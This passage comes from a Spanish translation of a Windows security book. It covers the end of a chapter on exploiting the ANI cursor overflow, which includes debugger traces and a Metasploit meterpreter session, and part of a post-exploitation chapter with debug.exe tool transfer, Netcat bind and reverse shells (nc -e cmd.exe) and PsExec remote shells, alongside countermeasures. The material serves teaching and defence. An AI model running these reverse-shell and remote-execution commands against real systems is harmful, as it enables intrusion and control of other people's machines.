De acuerdo con esto, probablemente supongamos que algo está validando el tamaño del en-
cabezado ANI antes de llegar en realidad a LoadAniIcon. Si esto es cierto, ¿por qué el parche
realizaría también una revisión del tamaño? Recuerde que estamos tratando de validar nuestra
corazonada de que el fragmento anih era una estructura TLV, y encontramos también otras es-
tructuras TLV: rate y LIST. ¿Qué pasa si cambiamos una de estas estructuras a Tipo anih y
mentimos aquí acerca del tamaño? Probémoslo. Hemos modificado aero_busy.ani como se
Si actualizamos el Explorador, llegamos a nuestro punto de interrupción en LoadAniIcon.
¡Esto es estimulante! Ahora continuemos la ejecución y veamos lo que obtenemos.
(770.c08): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=05bcda24 ecx=00000000 edx=00000003 esi=5453494c edi=00000000
eip=76badfc8 esp=05bcd8ec ebp=05bcd94c iopl=0 nv up ei pl nz na pe nc
USER32!LoadAniIcon+0x2b7:
76badfc8 ff34be push dword ptr [esi+edi*4] ds:0023:5453494c=????????
¡Violación de acceso en LoadAniIcon¡ ¡Definitivamente estamos en el camino correcto! Po-

demos ver por el ???????? en la última línea que la dirección 0x5453494C está señalando al
espacio exterior. Esta dirección es resultado de evaluar esi+edi*4. Debido a que edi es cero,
la dirección es completamente dependiente de esi, que es 0x5453494C. Esta dirección parece
ASCII. Se trata de un valor familiar, ¿lo es? Parece que nuestras modificaciones nos dieron con-
trol por lo menos del registro esi. A partir de este listado, vemos que es una excepción de pri-
mera oportunidad. Una excepción de primera oportunidad alude a una condición en que el
depurador detiene la ejecución de la aplicación y alerta a la persona para que la depure.
Esto significa que se nos ha dado el control antes de que se invoque cualquier controlador de
Figura 6-9 Archivo aero_busy.ani actualizado
06_SCAMBRAY_06.indd 179 7/28/08 8:59:14 PM

excepciones, incluido el manejador estructurado de excepciones (SEH, Structured Exception

Handler). Es probable que también hayamos influido en el registro de SEH. Estamos muy cerca
de descubrirlo:
(770.c08): Access violation - code c0000005 (first chance)

eax=00000000 ebx=00000000 ecx=00000000 edx=7716104d esi=00000000 edi=00000000
eip=00000000 esp=05bcd15c ebp=05bcd17c iopl=0 nv up ei pl zr na pe nc
00000000 ?? ???
¡Se ve mejor! ¡Otra violación de acceso! Esta vez debido a que el puntero de la instrucción eip
es nulo (0x00000000). Si miramos la pila de llamada podemos comprender mejor lo que ha
pasado:
0:030> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
05bcd158 77161039 0x0
05bcd17c 7716100b ntdll!ExecuteHandler2+0x26
05bcd224 77160e97 ntdll!ExecuteHandler+0x24
05bcd224 00000000 ntdll!KiUserExceptionDispatcher+0xf
05bcd520 77161039 0x0
05bcd544 7716100b ntdll!ExecuteHandler2+0x26
05bcd5ec 77160e97 ntdll!ExecuteHandler+0x24
05bcd5ec 76badfc8 ntdll!KiUserExceptionDispatcher+0xf
05bcd94c 6e6f6369 USER32!LoadAniIcon+0x2b7
A partir de aquí, podemos determinar que hemos pavimentado el registro SEH con ceros. ¡Son
excelentes noticias! El siguiente paso consiste en rellenar aero_busy.ani con algunos valores
identificables, como se muestra en la figura 6-10. Esto nos dará una mejor comprensión de la ma-
nera en que partes de nuestro archivo influyen en la ejecución del código.
Hemos hecho las siguientes modificaciones a aero_busy.ani:
• Cambiamos el Tamaño anunciado del RIFF a 0x88 bytes y truncamos el archivo a esa
longitud
• Cambiamos el Tamaño anunciado del segundo Tipo anih a 0x60 para que coincida
con su longitud actual
• Llenamos el segundo tipo anih con datos identificables
Si guardamos este archivo y actualizamos el Explorador, obtenemos lo siguiente en nuestro

depurador:
(bdc.198): Access violation - code c0000005 (first chance)

eax=41414141 ebx=055bda7c ecx=005c05db edx=005c05da esi=055bd9f4 edi=055bd9c0
eip=43434343 esp=055bd9c0 ebp=42424242 iopl=0 nv up ei pl zr na pe nc
43434343 ?? ???
06_SCAMBRAY_06.indd 180 7/28/08 8:59:15 PM

Figura 6-10 Archivo ANI rellenado con datos identificables
Sigue poniéndose mejor. Ahora controlamos por completo tres registros: eax, ebp y, el más
importante, eip. Al controlar estos registros, puede causar que Explorer ejecute código arbitra-
rio que esté incrustado dentro del propio cursor animado. En la siguiente sección se analiza
cómo puede explotarse este problema en la plataforma Vista a pesar de sus muchos mecanismos
de seguridad, como la aleatorización del diseño del espacio de direcciones (ASLR, Address Spa-
ce Layout Randomization), la prevención de ejecución de datos (DEP, Data Execution Preven-
tion) y las cookies de pila (GS).
Explotación de ANI
Como tal vez ya lo sabe, Vista viene equipado con un puñado de mecanismos que están diseña-
dos para evitar la explotación de vulnerabilidades. Entre los que tienen más importancia se en-
cuentran ASLR, DEP y GS. En el capítulo 12 analizaremos éstos y otros mecanismos de seguri-
dad. Por ahora, debe estar familiarizado con lo siguiente:
• ASLR asigna de manera aleatoria la ubicación de memoria para que sea más difícil
para un atacante saber la ubicación de instrucciones útiles o bibliotecas.
• La DEP de hardware trata de prevenir la explotación al evitar la ejecución de código en
ubicaciones de memoria que no se han designado específicamente como ejecutables. La
DEP de software protege del abuso a los registros de excepciones.
• GS trata de evitar la explotación al detectar sobreflujo de búfer basado en pilas.
En la sección anterior, pudimos construir un archivo .ani que saturaba la pila, incluido el re-
gistro de excepciones. ¿Cómo es posible en presencia de GS y DEP de software? Como lo indicó
Alexander, y se muestra en el siguiente listado, LoadAniIcon no se compiló con protección GS.
0:032> u USER32!LoadAniIcon
USER32!LoadAniIcon:
75c05375 8bff mov edi,edi
75c05377 55 push ebp
75c05378 8bec mov ebp,esp
06_SCAMBRAY_06.indd 181 7/28/08 8:59:16 PM

75c0537a 83ec50 sub esp,50h

75c0537d 53 push ebx
75c0537e 8b5d08 mov ebx,dword ptr [ebp+8]
75c05381 8b03 mov eax,dword ptr [ebx]
75c05383 56 push esi
Si estuviera habilitado GS, veríamos que se coloca en la pila __security_cookie. Consulte el

NOTA
capítulo 12 para conocer más detalles.
Para emperoar las cosas, ni el Explorador ni Internet Explorer tienen habilitado DEP como
opción predeterminada. Esto se observa al lanzar el proceso Explorador y ver la ficha Imagen de
sus propiedades, como se muestra en la figura 6-11.
Eso nos deja con ASLR. Como lo indicó skape del Metasploit Project, si podemos encontrar
instrucciones útiles dentro del mismo bloque de 16 páginas que la dirección de devolución, sim-
plemente podemos sobrescribir los dos bytes de orden bajo de ella con su ubicación y queda-
mos en buena posición. Debido a que GS no es un factor en este caso, podemos sobrescribir la
dirección de devolución de esta manera. Dado que DEP y GS están deshabilitados para Internet
Figura 6-11 Internet Explorer con DEP deshabilitada como opción predeterminada
06_SCAMBRAY_06.indd 182 7/28/08 8:59:17 PM

Explorer y el Explorador y, en este caso, podemos rodear los beneficios de ASLR, nos quedamos
con una explotación muy típica. Veámosla en acción.
La versión 3 de Metasploit Framework viene equipada con una interfaz spiffy Web 2.0 que
permite que cualquiera señale y haga clic para la ejecución de código remoto en un equipo no
parchado. Una vez que Metasploit está instalado y en ejecución, sólo se requieren literalmente
cinco clics para que un servidor Web malvado en espera explote a un explorador que no está
consciente de esto. Y aquí están:
1. Haga clic en Exploits.
2. Haga clic en Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP).
3. Haga clic en Windows Vista user32.dll 6.0.6000.16386.
4. Haga clic en windows/meterpreter/reverse_ord_tcp.
5. Haga clic en Exploit después de rellenar LHOST.
En este punto, Metasploit proporcionará un URL que, una vez visitado por un equipo de
Vista no parchado, explotará el error ANI y cargará el Meterpreter:
[*] Started reverse handler

[*] Using URL: http://192.168.111.1:8080/ykceBiH
[*] Server started.
[*] Exploit running as background job.
[*] Meterpreter session 1 opened (192.168.111.1:4444 ->
192.168.111.132:49162)
>> sessions -i 1
[*] Starting interaction with 1...
>> sysinfo
Computer: GRIFFIN
OS : Windows Vista (Build 6000, ).
>> ls c:\
Listing: c:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Boot
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Debuggers
40555/r-xr-xr-x 0 dir Wed Dec 31 16:00:00 -0800 1969 Program Files
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 ProgramData
40555/r-xr-xr-x 0 dir Wed Dec 31 16:00:00 -0800 1969 Users
40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Windows
100777/rwxrwxrwx 24 fil Wed Dec 31 16:00:00 -0800 1969 autoexec.bat
100444/r--r--r-- 438840 fil Wed Dec 31 16:00:00 -0800 1969 bootmgr
100666/rw-rw-rw- 10 fil Wed Dec 31 16:00:00 -0800 1969 config.sys
100666/rw-rw-rw- 1073741824 fil Wed Dec 31 16:00:00 -0800 1969 pagefile.sys
Como puede ver en esta salida, las explotaciones listas para usarse de Metasploit han com-
prometido el sistema remotamente y nos han permitido presentar una lista del contenido de su
unidad C. Esperamos que este ejemplo le haya dado algunas ideas de la facilidad con que pue-
den explotarse las vulnerabilidades de Windows utilizando marcos conceptuales poderosos
como Metasploit.
06_SCAMBRAY_06.indd 183 7/28/08 8:59:17 PM

RESUmEN
En este capítulo se ilustró cómo se descubren e implementan las explotaciones de Windows. En
la práctica, estas técnicas (y muchas más de mayor y menor complejidad) sugieren que Win-
dows siempre será vulnerable a la ingeniería inversa persistente, de modo que una combina-
ción de configuración conservadora del sistema, un proceso de actualización continua para
nuevas versiones que incluyan características como ASLR, y un programa de parchado eficiente
deben combinarse para lograr defensa a profundidad.

Trike v.1 Methodology Document www.octotrike.org/Trike_v1_Methodology_
Document-draft.pdf
The STRIDE Threat Model http://msdn2.microsoft.com/en-us/library/
ms954176.aspx
Boletín de seguridad de Microsoft www.microsoft.com/technet/security/Bulletin/
MS07-017, “Vulnerabilities in GDI Could MS07-017.mspx
Allow Remote Code Execution (925902)”
Nota de vulnerabilidad VU#500753, www.kb.cert.org/vuls/id/500753
“Microsoft Windows Media Services
NMSA Session Description Object
ActiveX control contains dangerous
methods”
Boletín de seguridad de Microsoft www.microsoft.com/technet/security/Bulletin/
MS07-027, “Cumulative Security Update ms07-027.mspx
for Internet Explorer (931768)”
El Peach Fuzzer Framework http://peachfuzz.sourceforge.net/
Documentos del paquete Peach: Peach http://peachfuzz.sourceforge.net/documentos/
Fuzzer
Cambios en el archivo WSUSScan.cab http://support.microsoft.com/kb/924513
GFlags Remarks http://technet2.microsoft.com/windowsserver/
en/library/e77bf7f8-b9a5-48a7-9223-be-
6fae41393c1033.mspx?mfr=true
“Exploiting the ANI vulnerability on http://blog.metasploit.com/2007/04/
Vista” exploiting-ani-vulnerability-on-vista.html
“Windows Animated Cursor Stack www.determina.com/security.research/
Overflow Vulnerability” vulnerabilities/ani-header.html
06_SCAMBRAY_06.indd 184 7/28/08 8:59:18 PM

capítulo 7
s p u é s
e o d e
s a q u c i ó n
p l o ta
l a e x
de
185
07_SCAMBRAY_07.indd 185 7/28/08 9:04:16 PM

P
ara la mayoría de los intrusos, simplemente no basta con obtener acceso durante un ata-
que de red. Quieren dominio y control completo, y un atacante no se conformará con ob-
tener privilegios en el nivel de usuario en un sistema. Privilegios más elevados significan
acceso más amplio a la información (la real, la que está protegida). En consecuencia, un atacante
dará muchos pasos para infiltrar su red más y más, haciéndole casi imposible deshacerse de él
sin que “invada” su propio entorno de una manera seria (es decir, necesita reconstruir numero-
sos sistemas desde cero, utilizando copias de seguridad confiables). El saqueo después de la ex-
plotación por parte del atacante es fundamental para cualquier ataque serio de red.
Un atacante puede emprender las siguientes fechorías una vez que ha obtenido acceso a su
sistema:
1. Transferir el kit de herramientas del ataque al destino.
2. Escalar privilegios (si es necesario para obtener derechos administrativos).
3. Establecer control interactivo remoto.
4. Minar los datos de sistema.
5. Extraer y descubrir contraseñas.
6. Enjuagar y volver a hacerlo.
NOTA Los atacantes también buscarán ocultar su presencia utilizando numerosas herramientas y técnicas
que se analizarán a profundidad en el capítulo 8.
Analizaremos cada uno de estos pasos en este capítulo para mostrarle cómo evitar que sus
sistemas se usen como una estación de lanzamiento a otros destinos de la red.
TRANSFERENCIA DEL KIT DE HERRAMIENTAS

DEL ATACANTE PARA MAYOR DOMINIO
La realización de explotaciones simples de programas vulnerables o configuraciones sólo da al
atacante una presencia en el equipo de destino, y si éste está endurecido o las herramientas na-
tivas son limitadas, el atacante no puede expandir su presencia más allá ni obtener un punto de
apoyo para recopilar información. En estos casos, es necesario transferir un juego de herramien-
tas adecuado para enumerar, escalar y expandir su dominio del destino. Esas herramientas po-
drían incluir, pero no están limitadas a, explotaciones locales para elevar privilegios para mayor
enumeración además de redirectores de puerto para alcanzar hosts que de otra manera serían
inalcanzables. Sin embargo, debe tomarse nota de que algunas herramientas de sistemas opera-
tivos también pueden ser parte del kit de herramientas del atacante.
Con la escalada de privilegios, el atacante suele tener acceso muy limitado al almacenamien-
to de credenciales del equipo o a otro tipo de información valiosa almacenada en ese host. Al
pasar por alto el control de acceso normal, se requieren mayores privilegios. La escalada de pri-
vilegios puede intentarse de varias maneras; por ejemplo, al realizar explotaciones locales de
programas y configuraciones vulnerables. Después de obtener más privilegios, el atacante pue-
de asegurar la presencia al instalar puertas traseras o rootkits, o puede recuperar información
disponible sólo para usuarios con mayores privilegios (lo que ayuda al atacante a expandir su
presencia en otras áreas de la red).
07_SCAMBRAY_07.indd 186 7/28/08 9:04:17 PM

Capítulo 7: Saqueo después de la explotación 187
Transferencia de un kit de herramientas

Popularidad: 9
Simplicidad: 4-7
Impacto: 9
Recuerde que el host comprometido suele ser sólo el punto de entrada a lo que el atacante
realmente está buscando: información confidencial.
Después de obtener posibilidades de ejecución remota o de código local, un atacante suele
transferir un juego de herramientas al sistema de destino. Entre estas herramientas podrían in-
cluirse, pero no están limitadas a, extractores de contraseñas, un lenguaje de secuencia de co-
mandos (si aún no existe) y redirectores de puerto para ayudar a establecer una presencia en la
red.
Los métodos usados para la transferencia de datos pueden variar, pero a menudo usan pro-
tocolos permitidos, como el protocolo de transferencia de hipertexto (HTTP, HyperText Transfer
Protocol), el protocolo de transferencia de archivos (FTP, File Transfer Protocol), el sistema de
nombres de dominio (DNS, Domain Name System), el protocolo simple de transferencia de co-
rreo (SMTP, Simple Mail Transfer Protocol) y otros. En el caso de HTTP/HTTPS/FTP, el atacan-
te puede hacer uso de la función UrlDownloadToFile en urlmon.dll. Es fácil para un atacante
escribir herramientas de línea de comandos para utilizar esta API y hacer una conexión externa
a través de uno de los protocolos soportados después de obtener acceso al sistema. Sin
embargo, esto sólo funciona si están permitidas las conexiones salientes de los sistemas del des-
tino, y señala la importancia de tener control de la conectividad saliente. Es interesante observar
que la API de urlmon también soporta situaciones en que se ha definido un proxy para los ex-
ploradores normales. También pueden usarse otros comandos del sistema, como FTP.EXE,
TFTP.EXE, etcétera. Se ha sabido que el servicio de transferencia inteligente de fondo (BITS,
Background Intelligent Transfer Service) usa diferentes malwares para descargar archivos de
Internet.
Como no siempre está disponible la conexión saliente, el atacante también puede usar co-
nectividad de una vía. Por lo general, ésta incluye transferencia de código ordinario en formato
ASCII, comúnmente conocido como secuencias de comandos de depuración, para alimentar a de-
bug.exe en el sistema de destino. Existe un par de estas herramientas y pueden encontrarse en la
sección “Referencias y lecturas adicionales”, al final de este capítulo.
A continuación se presenta un fragmento de una secuencia de comandos de depuración:
n #tempf#
r cx
e800
f 0100 ffff 00
e 0100 4d 5a 90
e 0104 03
. . .
07_SCAMBRAY_07.indd 187 7/28/08 9:04:19 PM

Esa secuencia de comandos debe alimentarse en el ejecutable de depuración y luego cam-

biarse de nombre con una extensión de archivo .exe, como se muestra aquí:
Debug < script.scr

ren script.scr nc.exe
Una vez con un nuevo nombre, la herramienta puede usarse de la manera normal. Una nota que
también es válida para el ejemplo anterior es que usa un algoritmo más optimizado para hacer
las secuencias de comando de depuración más pequeñas al quitar los caracteres más comunes
de la salida, y al compilar la secuencia de comandos otra vez a forma binaria, primero se rellenan
los caracteres comunes y luego se escriben las diferencias en binario.
Cuando un binario está en formato ASCII, puede usarse cualquier método de transporte,
como hacer eco en el archivo a través del protocolo del flujo de datos tabulares (TDS, Tabular
Data Stream), utilizar la función xp_cmdshell (deshabilitada como opción predeterminada en
Microsoft SQL 2005) o emplear cualquier secuencia de comandos o vulnerabilidad en el sistema
de destino, o pasando el archivo en una sesión de Terminal Service.
Además, los binarios pueden empaquetarse con empaquetadores de motor de tiempo de eje-
cución como Ultimate Packer for eXecutables (UPX), aunque hoy en día eso no proporciona tan-
tos beneficios como solía hacerlo.
Contramedidas ante la transferencia de kit de herramientas

No puede hacer mucho para evitar la transferencia de datos, aparte de endurecer el acceso desde
el principio. Si se ha obtenido acceso, podría restringirse o eliminarse por completo la accesibili-
dad a los binarios proporcionados por el sistema.
Casi todas las transferencias de archivos de Windows que suelen hacerse utilizan privilegios
de sistema, tanto para explotadores como para malware automatizado. Si el acceso de SYSTEM
a estas herramientas está restringido, esas explotaciones no pueden obtener un punto de apoyo
en el sistema.
Otro truco consiste en mover binarios que suelen ser motivo de abuso para fines no autoriza-
dos fuera de su ubicación normal y restringir el acceso a administradores aprobados. Por ejemplo,
podría mover %systemroot%\system32\debug.exe a otra ubicación, menos común, y cambiar
las listas de control de acceso (ACL, Access Control Lists) a cuentas administrativas específicas.
Escalada de privilegios
Popularidad: 8
Simplicidad: 5
Impacto: 10
En este punto del asalto, se supone que el atacante se ha autentificado con éxito ante un sis-
tema de Windows remoto con una cuenta de usuario y una contraseña válidas y que no son ad-
ministrativas. Esto es un punto de apoyo importante para el atacante, pero por desgracia (desde
la perspectiva del atacante), puede ser limitada. Recuerde el análisis de capítulo 2 acerca de los
privilegios estándar en Windows: si no es un equivalente a Administrador, su acceso a la informa-
ción del sistema está muy limitada. Para empezar a obtener beneficios del equipo comprometido
y el resto de la red, el atacante debe elevar los privilegios de acceso a un estado de cuenta más
poderoso.
07_SCAMBRAY_07.indd 188 7/28/08 9:04:20 PM

La terminología utilizada en el campo de la seguridad para describir este proceso es escalada

de privilegios (a veces denominada elevación de privilegios). El término describe de manera genéri-
ca el proceso de escalar las capacidades de la cuenta del usuario actual a la de una cuenta más
privilegiada, por lo general la de un superusuario como Administrador, SYSTEM u otra cuenta
con privilegios poderosos. Desde la perspectiva de un hacker malicioso, comprometer una cuen-
ta de usuario y explotar posteriormente un ataque de escalada de privilegios puede ser más fácil
que encontrar una explotación remota que otorgue equivalencia instantánea a superusuario. En
cualquier caso, un atacante autentificado tal vez tendrá muchas más opciones a su disposición
que uno no autentificado, sin importar cuál nivel de privilegios haya obtenido.
Sin embargo, no subestime el daño que puede hacer un usuario normal. Durante las reuniones
de prueba profesional de penetraciones, en ocasiones hemos pasado por alto datos confidencia-
les en recursos compartidos que podrían ser montados por una cuenta de usuario comprometida,
en nuestra prisa por escalar al estatus de superusuario. Sólo después, mientras examinamos los
sistemas comprometidos con privilegios de superusuario, ¡nos hemos dado cuenta de que ya ha-
bíamos encontrado los datos que estábamos buscando un poco antes!
La escalada de privilegios también es una forma popular de ataque para hackers que ya tie-
nen acceso a un sistema, sobre todo si tiene acceso interactivo a un sistema Windows. Imagine
este escenario: un empleado de la compañía quiere obtener información sobre el salario de sus
compañeros y trata de acceder a las bases de datos interna de recursos humanos o finanzas, me-
diante una conexión legítima de Terminal Server. Una vez autentificado, una explotación de es-
calada de privilegios podría elevar a este usuario al nivel del privilegio necesario para consultar
y examinar datos confidenciales de compensaciones en la corporación. Mientras esté conside-
rando este escenario, recuerde que las estadísticas demuestran fácilmente que la mayoría de los
delitos computacionales aún son cometidos por usuarios internos legítimos (empleados, contra-
tistas, trabajadores temporales, etcétera).
Históricamente, han existido en Windows numerosas vulnerabilidades de escalada de privi-
legios bien conocidas, incluidos los siguientes errores conocidos que explotan diferentes vecto-
res (aquí se muestra sólo un ejemplo de áreas que han contenido vulnerabilidades exportables):
• Getadmin
• Predicción de canalización con nombre del administrador de control de servicio
• Solicitudes de NetDDE que se ejecutan como SYSTEM
• Errores de autentificación del depurador (DebPloit y explotaciones similares)
Las versiones públicas de explotaciones de escalada de privilegios serias se han reducido de

alguna manera desde el lanzamiento de Windows XP y aún más con el de Windows Vista. Sin
embargo, esto no es una excusa para bajar la guardia contra ese debilitante tipo de ataque.
Una de esas explotaciones, la GDI, se publicó en MOKB-06-11-2006 (mes de los errores de
kernel, consulte “Referencias y lecturas adicionales”). Hasta los avances recientes en 2007, la ex-
plotación de este error ha sido poco confiable. El error está en una sección de la memoria del re-
curso compartido global relacionado con el problema que se crea automáticamente en cualquier
proceso de Windows que utiliza objetos de la interfaz gráfica de dispositivos (GDI, Graphics De-
vice Interface). Esta sección suele asignarse como sólo lectura, pero cualquier proceso puede vol-
ver a asignarlo como de lectura-escritura, lo que le permite la escritura en esta sección y la
sobrescritura de las estructuras de datos del kernel de GDI, causando la ejecución de código ar-
bitrario o un ataque de negación de servicio (DoS, Denial of Service), dependiendo de la explo-
tación y de la carga de información. Una explotación de ejemplo de los archivos de MOKB que
causa DoS y otra información puede verse en la página Web de MOKB. (Consulte “Referencias
y lecturas adicionales”).
07_SCAMBRAY_07.indd 189 7/28/08 9:04:21 PM

Contramedidas ante la escalada de privilegios

Junto con la aplicación de varios parches, debe seguir las mejores prácticas de seguridad para
mitigar los riesgos y evitar que los intrusos obtengan aun las cuentas menos privilegiadas, lo
que podría permitir acceso a información que está protegida. Los puntos específicos de un siste-
ma de seguridad dependen del rol del sistema; por ejemplo, si el sistema es un servidor Web
público o un servidor interno de archivo e impresión. Sin embargo, pueden usarse unas cuantas
prácticas generales para limitar la efectividad de los ataques de escalada de privilegios:
• Casi todas las explotaciones de escalada de privilegios de Windows a la fecha han

requerido sesiones de cuenta de inicio de sesión INTERACTIVE para realizar los
ataques. Por tanto, la restricción del privilegio de inicio de sesión INTERACTIVE es
una contramedida clave contra la escalada de privilegios. (No olvide a los usuarios
que pueden iniciar sesión mediante Terminal Services, que es el equivalente más
cercano a INTERACTIVE). Sea especialmente sensible con las cuentas de servicio,
que por lo general tienen privilegios más elevados pero no requieren inicio de sesión
INTERACTIVE: ¡no dé acceso a ellas!
• Restrinja el acceso a los programas del sistema que los usuarios no requieren, como
cmd.exe. Sin acceso a binarios de sistema críticos, un intruso o un malware estará muy
limitado.
• Use la característica Grupos restringidos, en la directiva de grupo, para evitar que las
cuentas se agreguen a grupos privilegiados en un dominio de Windows.
• Use directivas Restricción de software para limitar la capacidad de los usuarios de
“dañarse” a sí mismos y minimizar las posibilidades de ataque. En Windows XP SP2 es
posible acceder a dos nuevas directivas al agregar la siguiente clave de registro:
Levels”=dword:00031000 to
[HKML\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers]
Esto le da una capacidad más fina de agregar protección. Pueden asignarse los
siguientes niveles:
• Deshabilitado El software no se ejecutará, sin importar los derechos de acceso del
usuario
• No confiable Permite que los programas se ejecuten con acceso sólo a recursos
otorgados para abrir grupos bien conocidos, bloqueando el acceso a los privilegios
de Administrador y Usuario avanzado y derechos otorgados personalmente
• Restringido El software no puede acceder a ciertos recursos, como claves
criptográficas y credenciales, sin importar los derechos de acceso del usuario
• Usuarios básicos Permite que los programas se ejecuten como usuarios que no
tienen derechos de acceso Administrador o Usuario avanzado, pero aún puede
acceder a recursos accesibles para los usuarios normales
• Sin restricción Los derechos de acceso a software están determinados por los
derechos de acceso del usuario
• Audite los sucesos de Windows para detectar el comportamiento malicioso. Consulte
el capítulo 2 para conocer un análisis de los parámetros de auditoría recomendados en
Windows.
07_SCAMBRAY_07.indd 190 7/28/08 9:04:22 PM

• En la directiva de seguridad local de Windows Vista, puede restringir quién tiene

privilegios para asignación de personalidad al rendimiento.
• En el caso de los pasos requeridos para el acceso físico, establezca que el sistema se
inicie sólo desde el disco duro, y establezca una contraseña de BIOS apropiada para
limitar la cantidad de personas que pueden realizar ese tipo de pasos.
• Con los avances en las herramientas de administración de sucesos de seguridad,
ha aumentado la capacidad de notar las discrepancias entre los comportamientos
normales. Esto significa reunir los datos del registro de sucesos de Windows, junto
con el sistema de detección de intrusiones/sistema de protección de intrusiones (IDS/
IPC, Intrusion Detection System/Intrusion Protection System), NetFlow, etc., en una
estación de monitoreo y hacer análisis inteligente sin depender sólo de una fuente.
CONTROL INTERACTIVO REMOTO

El control interactivo remoto siempre es el siguiente paso deseado por el atacante. Éste obtiene
la capacidad de controlar un sistema de manera remota como si estuviera sentado físicamente
en la consola. En el mundo de Windows, eso puede realizarse de una de dos maneras: a través
de una interfaz de línea de comandos como una conexión parecida a telnet, o mediante una GUI
como las de Terminal Services o productos similares de control remoto de terceros como Virtual
Network Computing (VNC).
Otra oportunidad para un atacante se crea cuando los usuarios instalaron software de acce-
sibilidad remota de terceros a su sistema, como GoToMyPC, que ofrece otras avenidas de
ataque.
Control de línea de comandos

Popularidad: 10
Simplicidad: 7
Impacto: 9
Aunque usted no lo crea, en una galaxia no muy lejana (la década de 1990) muchas personas
creían que Windows era más seguro que UNIX porque (vea esto) “no se puede obtener un indi-
cador de comandos de Windows”. Bueno. Aquí vamos a desterrar oficialmente este mito (si aún
existe), y a decirle que, como en el mundo de Unix, el control de línea de comandos de Windows
es toda una realidad.
Hemos usado varias técnicas para obtener acceso a línea de comandos remota en Windows
en unos nuestros años combinados de pruebas de penetración, incluidas las siguientes:
• Remote.exe (combinado con el administrador de tareas integrado de Windows, at.exe,

para lanzarlo remotamente en un momento específico)
• El comando de instalación remota de servidor (rsetup) del kit de recursos de
Windows NT/2000
07_SCAMBRAY_07.indd 191 7/28/08 9:04:22 PM

• Wsremote del kit de recursos de Windows 2000

• PsExec de Sysinternals
Cada una de estas herramientas tiene sus fortalezas y debilidades, pero nuestras favoritas si-
guen siendo Netcat por su flexibilidad y PsExec por su simplicidad (si los servicios de compartir
archivos e impresión de Windows están accesibles en el sistema de destino). A continuación des-
cribiremos cómo usar estas herramientas para obtener control remoto de línea de comandos.
Consola de Netcat
La herramienta con mil usos diferentes, Netcat puede usarse para obtener control remoto de lí-
nea de comandos de un sistema. Existen dos técnicas principales.
La primera técnica utiliza Netcat en el modo de escucha, que debe ejecutarse en el propio
servidor de destino:
C:\>nc –L –n –p 2000 –e cmd.exe
Observe que esto requerirá que siga con una conexión de Netcat en el sistema de destino en el
puerto 2000:
C:\>nc 192.168.0.5 2000

Microsoft Windows 2000 (Version 5.00.2195)
C:\>ipconfig
ipconfig
Configuración IP de Windows 2000
Adaptador Ethernet Conexión de área local
Sufijo de conexión específica DNS :

Dirección IP. . . . . . . . . . . : 192.168.0.5
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . : 192.168.0.1
Además, tome nota de que el privilegio obtenido por la técnica de Netcat es dependiente del
privilegio del usuario que lo ejecuta (en nuestro caso, Administrador):
C:\>WINDOWS\System32>whoami
whoami
he-w2k3\administrador
NOTA Cuando se usa un indicador interactivo de Netcat, obtendrá un eco de regreso de su comando
original (como se muestra en el fragmento de código anterior con el comando whoami).
07_SCAMBRAY_07.indd 192 7/28/08 9:04:23 PM

Para usar la segunda técnica, siga estos pasos:

1. Ejecute Netcat para enviar un comando de shell de regreso a la ventana de Netcat que
está escuchando. Primero debe iniciar un escucha de Netcat:
C:\>nc –1 –p 3000 –nvv
2. Ahora ejecute el comando nc en el sistema remoto para enviar de regreso a la shell del
comando:
C:\>nc –e cmd.exe –n 192.168.0.2 3000
3. Al regresar a su escucha de Netcat, ahora debe ver esto:
listening on [any] 3000 ...
connect to [192.168.0.2] de (unknown) [192.168.0.5] 2537
Microsoft Windows 2000 [Version 5.00.2195]
C:\>
Y, una vez más, una ventana de línea de comandos en el sistema remoto está a su
completa disposición.
NOTA Si está haciendo una asignación para un cliente sobre redes “no confiables”, es una buena práctica
usar variantes que soporten criptografía para transporte. Esto se hace principalmente para proteger
la información del cliente de los ojos curiosos, pero también omite la detección de intrusiones, que
no está siguiendo el tráfico cifrado.
PsExec
Cuando ejecuta desde la línea de comandos en un sistema de atacante remoto (con acceso a los
servicios de compartir archivos e impresoras de Windows, en la máquina víctima), PsExec sim-
plemente ejecuta comandos en la máquina remota. Si especifica cmd.exe como comando, abre
una shell remota. Debido a que instala de manera silenciosa un servicio en la máquina remota,
todo esto sucede de manera transparente para el atacante.
En el siguiente ejemplo, primero configuramos una conexión administrativa con el servidor
víctima llamado 192.168.0.5 (recuerde que sabemos las credenciales para una cuenta administra-
tiva en este punto).
C:\>net use \\192.168.0.5\ipc$ password /u:administrador

Luego ejecutamos PsExec y lanzamos cmd.exe:
C:\>psexec \\192.168.0.5 cmd.exe
PsExec v1.3 – execute processes remotely

Copyright (C) 2001 Mark Russinovich
www.sysinternals.com
07_SCAMBRAY_07.indd 193 7/28/08 9:04:23 PM

Microsoft Windows [Version 5.2.3790]

C:\WINDOWS\system32>
¡Excelente! Una shell remota.

PsExec también puede tomar argumentos de línea de comandos si sólo quiere ingresar las
credenciales del administrador en un solo paso. He aquí un ejemplo:
C:\>psexec \\192.168.0.5 –u administrador –p contraseña cmd.exe
Use el argumento –s si quiere que el comando se ejecute como LocalSystem. (En el último
ejemplo, simplemente añada –s al argumento cmd.exe).
PsExec inicia el psexecsvc en el equipo de destino, mismo que un administrador juicioso
puede observar. Lo interesante es que puede matar a psexecsvc sin ningún efecto contraprodu-
cente en su shell, de modo que ésta sería una manera para que un hacker oculte sus pasos una
vez que la shell quede abierta.
Tome nota de que, mientras se considera que un indicador remoto tiene una funcionalidad
“limitada”, la capacidad para controlar todo un sistema puede obtenerse desde la línea de co-
mandos de la misma manera que desde una interfaz gráfica (por ejemplo, al usar los comandos
de red, netsh, regedit o al volcar el registro con regedit).
Control remoto gráfico

Popularidad: 9
Simplicidad: 6
Impacto: 9
Mientras la mayoría de los atacantes están contentos con obtener control de línea de coman-
